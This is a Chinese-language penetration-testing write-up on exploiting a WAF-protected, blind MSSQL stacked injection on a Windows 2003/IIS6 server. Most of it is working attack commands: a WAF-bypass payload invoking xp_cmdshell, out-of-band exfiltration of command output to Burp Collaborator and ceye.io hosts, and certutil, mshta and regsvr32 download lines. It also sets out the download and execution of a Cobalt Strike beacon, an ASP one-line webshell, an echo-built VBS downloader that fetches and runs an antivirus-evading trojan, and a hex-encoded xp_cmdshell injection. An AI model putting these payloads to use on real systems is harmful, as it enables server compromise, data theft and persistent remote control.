0x01 前言
@Tooshy丶师傅发来的一个MSSQL堆叠注入,测试中遇到一些问题,让我帮着看下能不能写Webshell或者直接反弹Shell?这个注入因存在WAF而不能直接用Sqlmap跑,所以全程都是在Burpsuite下进行测试的。
注:这个案例是他在Hw中打的一个点,所以就不用这个站来配图了,也懒的再去打码(狗命要紧),所以是在他拿到了这个入口权限后在本地模拟这个场景来进行测试的,这样也能便于我们详细记录整个过程。
0x02 问题简述
通过报错页得到网站绝对路径,但因多级文件夹都存在中文字符而无法直接写入Webshell,而且Windows2003默认没有Powershell,所以也不能用Powershell、Mshta等方式上线CS/MSF,详细测试过程往下看。
防护软件:360主机卫士、未知防护
操作系统:Windows 2003(IIS6.0)
数据库:Microsoft SQLServer 2008
绝对路径:D:\中文路径1\中文路径2\BZOA\
0x03 信息探测
360主机卫士是一个很老的WAF,也早已停止更新,所以绕起来不是很难,这里直接使用@Tooshy丶师傅发的Payload通过dnslog方式来测试是否可以正常执行命令,dnslog有收到数据,这就不截图了。
'+and+(select+1)=(Select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+exec+master..xp_cmdshell+'ping+******.dnslog.cn';--
这里我用Burp Collaborator进行测试,为啥用它呢?因为它可以同时探测DNS和HTTP是否都能出网。
如果HTTP能出则大概率可以直接上线CS/MSF,只需想办法将文件落地到磁盘执行即可。
cmd+/c+certutil+-urlcache+-split+-f+http://pha2623wuxr6h68nfsnso7zpvg16pv.burpcollaborator.net
注:我们可以使用Curl、Mshta、Certutil、Regsvr32、Bitsadmin、Powershell等命令来进行测试,但得注意在Administrators已登录用户权限下用Mshta、Regsvr32执行时可能会有弹窗提示哦。
curl http://******.ceye.io
mshta http://******.ceye.io
certutil -urlcache -split -f http://******.ceye.io
regsvr32 /s /n /u /i:http://******.ceye.io scrobj.dll
powershell (Invoke-WebRequest -Uri "http://******.ceye.io")
bitsadmin /rawreturn /transfer n "http://******.ceye.io" "D\1.txt"
首先测试了以下命令,发现存在各种问题,1.cmd后要带上/v,2.空格用+号替代,&进行URL编码,3.set和for命令拼接起来执行就失败,MMP,这里测试了我很久,最后没办法只能分为两条命令来执行。
单独执行这条成功:
cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2
拼接set执行失败:
cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2%26set+/p+MYVAR=<temp2%26set+FINAL=!MYVAR!.dnslog%26ping+-n+1+!FINAL!
拼接for执行失败:
cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2%26for+/F+%i+in+('type+temp2')+do+ping+-n+1+%i.dnslog
执行以下命令时得注意多个单双引号的闭合问题,外边用双引号,里边就用单引号,外边用单引号,里边就用双引号,for里只能用单引号,否则会执行失败,nslookup不稳定,执行也很慢,建议用ping。
cmd+/c+for+/F+%i+in+('whoami')+do+ping+-n+1+%i.738kskpegfdo3ou51a9aapl7hynpbe.burpcollaborator.net
从上图中可以看到外带出来的只有一个nt,这是因为nt authority\system用户带有空格被截断了,如果想全部外带出来可以尝试使用base64编码方式来解决这个问题。
最后发现也可以利用@倾旋师傅在“Regsvr32 ole对象”这篇文章中提到的httplog方式来解决这个问题。
Base64编码写文件:
cmd+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2
HTTP外带执行结果:
cmd+/c+for+/F+%i+in+('type+temp2')+do+mshta+http://ao2ndnah1iyrorf8mdudvs6a218vwk.burpcollaborator.net/%i
注:用户进行Base64编码后可能会存在==,这样会导致命令执行结果外带不出来,这里我们测试了常用的ping、nslookup等命令都不行,暂时没想到好的解决办法。
ping -n 1 cGVudGVzdFwzaGFkMHcK==.ao2ndnah1iyrorf8mdudvs6a218vwk.burpcollaborator.net
nslookup cGVudGVzdFwzaGFkMHcK==.ao2ndnah1iyrorf8mdudvs6a218vwk.burpcollaborator.net
执行以下命令可以将目标主机的系统架构给外带出来,这样便于我们生成对应的攻击载荷文件,因为目标主机是2003,大概率为x86,如果攻击载荷位数不对可能会存在兼容性问题而执行不了。
for+/F+%i+in+('wmic+cpu+get+addresswidth^|findstr+64')+do+ping+-n+1+%i.bxcomojiaj7sxso9ve3e4tfbb2hx5m.burpcollaborator.net
注:执行这条命令时需要将 | 管道符使用 ^ 转义下,而且不能带有cmd /c,否则可能会出现500报错。我们在本地测试没有问题,但是在实战中失败了,可能是还存在有其他什么安全防护软件。
执行以下命令可以将目标主机正在运行的进程列表给外带出来,在确定没有安全防护软件的情况下可以直接将CS/MSF文件落地到磁盘执行上线,不过也得注意上边提到的cmd /c、| 转义和空格等问题。
for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.bxcomojiaj7sxso9ve3e4tfbb2hx5m.burpcollaborator.net
注:这种方式外带出来的进程可能不全,但也可用于参考,Burp Collaborator只带出9条数据,而且看起来很不直观,所以个人建议用dig.pm、ceye.io这两个dnslog平台。
0x04 执行上线
(5) 文件下载落地
执行第一条命令可以将刚生成的CS/MSF攻击载荷文件落地到磁盘中,第二、三条命令可以查看该文件是否已经成功落地?在不确定目标主机是否存在有安全防护软件时最好是做下免杀处理。
文件落地:
cmd+/c+certutil+-urlcache+-split+-f+http://192.168.1.105:8888/beacon.exe+C:\windows\temp\beacon.exe
查看文件:
for+/r+C:\+%i+in+(beacon.exe*)+do+certutil+-urlcache+-split+-f+http://******.ceye.io/%i
查看路径:
for+/F+%i+in+('dir+/b+c:\windows\temp\')+do+certutil+-urlcache+-split+-f+http://******.ceye.io/%i
注:实战中利用这种文件落地方式失败了,@Tooshy丶师傅在2003虚拟机发现certutil下载远程文件时不能指定保存路径,会出现下图报错,而且会有缓存文件,可以通过执行以下命令清除。
cmd+/c+certutil+-urlcache+-split+-f+http://192.168.1.105:8888/beacon.exe+delete
如果目标主机上没有安全防护软件,且通过以上方式确定攻击载荷文件已经成功落地到磁盘,这时我们就可以直接执行以下命令来上线CS/MSF了。
cmd+/c+C:\Windows\temp\beacon.exe
但如果目标主机存在安全防护软件,这时可能就无法落地、执行攻击载荷文件来上线CS/MSF,不过我们还可以使用以下命令来写入Webshell,注意ASP一句话只能要用双引号,所以外边一定要用单引号。
写入Webshell文件:
echo+^<%execute+request("1")%^>+>C:\inetpub\wwwroot\upload\shell.asp
HTTP外带文件路径:
for+/r+C:\+%i+in+(shell.asp*)+do+certutil+-urlcache+-split+-f+http://******.ceye.io/%i
@Tooshy丶师傅的那个注入点上测试了多种文件落地方式都失败了,最后没办法,只能通过执行多次echo命令写入一个Vbs下载者,然后执行这个脚本将免杀360的马儿落地到磁盘并执行,最终成功上线。
wscript+C:\down.vbs
如果存在360等安全防护软件查杀木马,我们也可以使用Certutil编码哥斯拉的Webshell,然后通过这种方式将其落地到磁盘,certutil解码写入Webshell即可。
注:利用方式其实都是一样的,主要是要学会灵活运用。
echo+Set+Post+=+CreateObject("Msxml2.XMLHTTP")>>C:\down.vbs
echo+Set+Shell+=+CreateObject("Wscript.Shell")>>C:\down.vbs
echo+Post.Open+"GET","http://192.168.1.105:8888/360.exe",0>>C:\down.vbs
echo+Post.Send()>>C:\down.vbs
echo+Set+aGet+=+CreateObject("ADODB.Stream")>>C:\down.vbs
echo+aGet.Mode+=+3>>C:\down.vbs
echo+aGet.Type+=+1>>C:\down.vbs
echo+aGet.Open()>>C:\down.vbs
echo+aGet.Write(Post.responseBody)>>C:\down.vbs
echo+aGet.SaveToFile+"C:\360.exe",2>>C:\down.vbs
echo+Shell.Run+("C:\360.exe")>>C:\down.vbs
注:通过手动拷贝、粘贴的方式来写比较麻烦,我们可以将以上命令保存在文本里,然后再使用Burpsuite里的Intruder模块来写,这里仅提供一个思路,可能会存在些问题,自己去测试一下吧。
本地测试时突然想到去看下Sqlmap的xp_cmdshell执行命令数据包,使用declare函数来进行注入的,支持Hex和Ascii码(GB2312)。
利用这种方式可以完美解决我们在上边测试中所遇到的一些问题,如:空格、|和<>转义、& URL编码、单双引号、set/for命令拼接执行等等。
/sql.aspx?id=1+and+(select+1)=(Select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+;DECLARE+@zvkd+VARCHAR(8000);SET+@zvkd=0x636D64202F76202F63202277686F616D693E74656D7026636572747574696C202D656E636F64652074656D702074656D70312666696E64737472202F4C202F562043455254494649434154452074656D70313E74656D703226736574202F70204D595641523D3C74656D7032267365742046494E414C3D214D59564152212E6A6D3933746969366C3067777A6235613674323668306976376D646331312E62757270636F6C6C61626F7261746F722E6E65742670696E67202D6E2031202146494E414C2122;EXEC+master..xp_cmdshell+@zvkd--
注:不过还是得注意下cmd /c的问题,有的命令必须带,而有的命令又不能带。还有一个通过base64编码方式外带用户的问题也暂时无法解决,有知道如何解决的师傅还请告知!!!
0x05 文末总结
这篇文章详细记录了在MSSQL无回显注入下如何通过外带方式搜集所需信息,如何落地Webshell和木马等文件实现控制目标主机的目的,还有一些注意事项等。我们在遇到这类场景时首先得去确定以下几点。
注入漏洞类型?
是否站库分离?
是否能够出网?
是否存在安全防护?
......
实战中还得根据自己所遇到的场景选择更为简单高效的方式来获取目标主机权限,如:能出网时直接远程执行上线,有防护时再免杀落地上线,不出网时再写入Webshell等,更多相关文章可以去看我之前写的。
基于协议判断主机是否出网:https://www.yuque.com/xxxasec/qg2bv7/gl0p3a
Windows远程下载文件总结:https://www.yuque.com/xxxasec/qg2bv7/gx2yv5
MSSQL注入之无回显利用思路:https://www.yuque.com/xxxasec/odeznb/oqz07r
MSSQL注入之写马至中文路径:https://www.yuque.com/xxxasec/odeznb/okmpax
命令执行之文件落地利用总结:https://www.yuque.com/xxxasec/odeznb/ygmm57
命令执行无回显数据外带方式:https://www.yuque.com/xxxasec/odeznb/uwgk70
利用dnslog探测目标主机杀软:https://www.yuque.com/xxxasec/bypass-waf/wl374g
Windows命令行下常用渗透技巧:https://www.yuque.com/xxxasec/lm6ilf/ah85hp
MSSQL注入DNS外带数据问题解决:https://www.yuque.com/xxxasec/odeznb/yrykm1